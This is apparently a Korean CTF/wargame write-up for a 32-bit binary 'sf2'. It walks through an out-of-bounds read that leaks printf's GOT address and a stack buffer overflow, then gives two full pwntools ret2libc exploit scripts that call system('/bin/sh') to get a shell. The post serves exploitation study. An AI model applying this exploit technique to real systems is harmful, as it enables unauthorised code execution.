hanbunny 2025. 4. 13. 19:47

보호기법

NX만 켜져있음.

IDA 분석

 

1_create data

scanf는 배열의 0번째 인덱스에만 입력을 받고, 입력한 값은 0 또는 1 이어야함.

 

2_show data

v1의 값이 1미만일때만 printf가 저장된 주소 출력을함.

 

3_comment

buf가 28byte로 크기가 정해져있는데 50바이트까지 받음.bof 발생 가능함.

 

 

 

 프로그램 실행해봄

 

create data에서 데이터를 생성하고(index 0과 1에 생성)

show data에서 생성한 인덱스를 확인해보면 index 1에는 hello가 index2에는 datadata가 들어가 있는걸 볼 수 있음.

OOB

2_showdata에서 음수를 입력했을 때 error가 뜨지 않기때문에 OOB 발생가능

 

음수 값을 계속 넣다보면 -4를 넣었을 때 이상한 값들이 나온다.

 

전략 

1_createdata에서 /bin/sh 의 주소값을 넣어주고 

2_showdata에서 oob발생이 가능하기 때문에 지정된 배열을 초과해 주소를 찾아냄. 

3_comment에서는 bof가 발생 가능하기 때문에 페이로드 전송


Exploit

/bin/sh 문자열 저장

createdata 메뉴를 이용하면 /bin/sh 문자열을 우리가 아는 주소에 저장할 수 있음.

나는 인덱스 1에다가 넣을거라 0x14 * 1 + 0x804A060 = 0x804A074 이 위치에 문자열이 저장된다.

/bin/sh 저장된 위치: 0xf7dd5db0

 

이제 libc leak을 해야함.

-4를 넣었을 때 이상한 값이 나오기 때문에 이 주소가 어느 영역인지, 무슨 데이터가 나오는지 알아봐야함.

먼저 -4를 넣으면

 

0x14 * (-4) + 0x804A060 = 0x804A010 이 주소에 있는 데이터들이 나옴.

0x804A010 이 주소가 뭔지 먼저 찾아봄.

printf_got 의 주소임.

아까 나온 이상한 값들은 이 주소에 있는 값이 반환돼서 printf의 실제주소가 반환되는 거였음.

그럼 이 값을 이용해서 system함수의 실제주소를 구해주면 됨.

printf 의 got 주소 : 0x804a010

printf의 실제 주소: 0xf7dd5db0

출력된 데이터에서 4바이트를 받아주면 실제주소를 얻을 수 있음.

 

페이로드 전송

페이로드는 bof가 발생 가능한 comment에서 실행함.

 

페이로드 작성 후 보냈는데 에러남.

그래서

디버깅

EBP에 SFP값으로 넣어준 BBBB도 잘 들어가고 ret에서 system호출함.

그럼 /bin/sh가 잘못된건데

binsh_addr로 줬던 주소 값은 잘 들어가 있음.

그래서 주소 안 데이터를 봤는데

/bin/sh 문자열이 안 들어가져있음. 

binsh_addr를 잘못 계산한 거였다.

그래서 제대로 넣어주니 문자열도 잘 들어가 있고 쉘 획득함.

 

Payload - 1차 풀이

from pwn import *
#context.log_level = 'debug'
p = process('./sf2')
e = ELF('./sf2')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')

# GOT에서 leak된 printf 주소
p.sendlineafter(b'>', b'2')               # 메뉴 선택
p.sendlineafter(b'data index :', b'-4')    # 인덱스
p.recvuntil(b'Your data : ')
printf_addr = u32(p.recv(4))

libc_base = printf_addr - libc.symbols['printf']
print("libc_base_addr:", hex(libc_base))

system_addr = libc_base + libc.symbols['system']
print("system_addr:", hex(system_addr))

# /bin/sh을 저장할 위치
data = b'/bin/sh'
binsh_addr = 0x804A060 + 20 * 1  # 인덱스 1

#pause()
# create data
p.sendlineafter(b'>', b'1')               # 메뉴 선택
p.sendlineafter(b'data index :', b'1')    # 인덱스
p.sendlineafter(b'data ( max 20 ) :', data)
# comment -> overflow
payload = b'A' * 28
payload += b'B' * 4
payload += p32(system_addr)
payload += b'C' * 4
payload += p32(binsh_addr)

pause()
p.sendlineafter(b'>', b'3')
p.sendafter(b':', payload)
p.interactive()


p.interactive()

 

 


복습 Payload - 2차 풀이

from pwn import *

#context.log_level = 'debug'

p = process('./sf2')
e = ELF('./sf2')
libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')

# 1.createdate
p.sendlineafter(b'>',b'1')
p.sendlineafter(b':',b'1')
p.sendlineafter(b':',b'/bin/sh')

binsh_addr = 0x804A074
pause()
# 2.showdata
p.sendlineafter(b'>',b'2')
p.sendlineafter(b':', b'-4')
p.recvuntil(b': ')
printf_addr = u32(p.recv((4)))
print(hex(printf_addr))

# system address
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']

# 3.comment
pl = b'A'* 28
pl += b'B'* 4
pl += p32(system_addr)
pl += b'C'* 4
pl += p32(binsh_addr)
pause()
p.sendlineafter(b'>',b'3')
p.sendlineafter(b':',pl)


p.interactive()